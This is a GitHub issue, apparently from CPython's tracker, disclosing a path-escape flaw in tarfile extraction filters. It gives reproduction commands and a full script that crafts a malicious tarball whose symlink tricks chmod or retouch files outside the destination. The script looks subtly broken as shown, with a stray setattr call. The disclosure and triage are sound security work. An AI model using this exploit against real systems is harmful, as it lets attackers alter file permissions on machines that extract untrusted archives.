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New issue



# TarFile.extractall(..., filter='tar') arbitrary file chmod #127987

Open

Labels

3.10

3.11

3.12

3.13

3.14

3.9 (EOL)

stdlib

type-bug

type-security



jwilk opened on Dec 16, 2024 · edited by bedevere-app

Edits ▾ ...

`TarFile.extractall()` can be tricked into chmodding arbitrary file (outside of the destination directory) to `0755`, despite using `filter='tar'`:

```
$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw----- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uXCZC0Zs3F
$ python3 -m tarfile --filter=tar -e eggs.tar $(mktemp -d)
$ ls -l $target
-rwxr-xr-x 1 jwilk jwilk 0 Jan  1  1970 /tmp/tmp.uXCZC0Zs3F
```

`filter='data'` is vulnerable too, although in that case the damage is limited to updating the file timestamp:

```
$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw----- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCif0sQmp
$ python3.12 -m tarfile --filter=data -e eggs.tar $(mktemp -d)
$ ls -l $target
-rw----- 1 jwilk jwilk 0 Jan  1  1970 /tmp/tmp.WeCif0sQmp
```

Here's the source for the `defeatpep706` script:

```
#!/usr/bin/python3

import argparse
import os
import tarfile
```

```

ap = argparse = argparse.ArgumentParser()
ap.add_argument('tarpath', metavar='TARBALL')
ap.add_argument('target', metavar='TARGET')
opts = ap.parse_args()
target = os.path.abspath(opts.target)

with tarfile.open(opts.tarpath, 'w') as tar:

    def addmemb(name, **kwargs):
        memb = tarfile.TarInfo(name)
        for k, v in kwargs.items():
            setattr(memb, k)
            setattr(memb, k, v)
        tar.addfile(memb)

    # lrw-r--r-- pwn -> .
    addmemb('pwn', type=tarfile.SYMTYPE, linkname='.')
    # "pwn" is a very innocent symlink.

    # drwxrwxrwx pwn/
    addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777)
    # But now "pwn" is also a directory, so it's scheduled to have its
    # metadata updated later.

    # lrw-r--r-- pwn -> x/x/x/x/...../x/../../../../...../..TARGET
    addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target))
    # Oops, "pwn" is not so innocent any more.
    # But technically it's still pointing inside the dest dir,
    # so it doesn't upset the "data" filter.

    # lrw-r--r-- x/x/x/x/...../x -> ../../../../...../..
    addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98))
    # The newly created symlink symlink points to the dest dir,
    # so it's OK for the "data" filter.
    # But now "pwn" points to the target (outside the dest dir).

```

Tested with Python 3.12.8.

## Linked PRs

- 🔗 [gh-127987: Ensure that directories are not renamed during `tar.TarFile.extractall\(\)` #134628](#)



**picnixz** added **stdlib** on Dec 16, 2024



**picnixz** added this to [Zipfile issues](#) and [Tarfile issues](#) and removed this from [Zipfile issues](#) on Dec 16, 2024



**picnixz** on Dec 17, 2024

Member ...

cc [@sethmlarson](#) for deciding whether this is a bug or a security issue



sethmlarson on Dec 17, 2024 · edited by sethmlarson

Edits ▾

Contributor



This is a security issue, since it's already public we can handle it publicly. [@jwilk](#) in the future you can report issues that have to do with permissions to `security@python.org` or open a GitHub Security Advisory.



sethmlarson added **type-security** on Dec 17, 2024



picnixz added **type-bug** **3.12** **3.13** **3.14** on Dec 17, 2024



picnixz on Dec 17, 2024

Member



[@jwilk](#) Thanks for the report. To update the labels, can you also check whether this happens on 3.9? (or check if the code has been changed? I'm no more on my dev session)



jwilk on Dec 20, 2024

Author



I can reproduce the bug with Python 3.9.21, 3.10.16 and 3.11.11.



1



picnixz added **3.11** **3.10** on Dec 20, 2024

196 remaining items



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### Metadata


### Assignees

No one assigned

### Labels

- 3.10
- 3.11
- 3.12
- 3.13
- 3.14
- 3.9 (EOL)
- stdlib
- type-bug
- type-security

### Projects

 **Tarfile issues**

Status No status ▼

### Milestone

No milestone

### Relationships

None yet

### Development

No branches or pull requests

### Participants

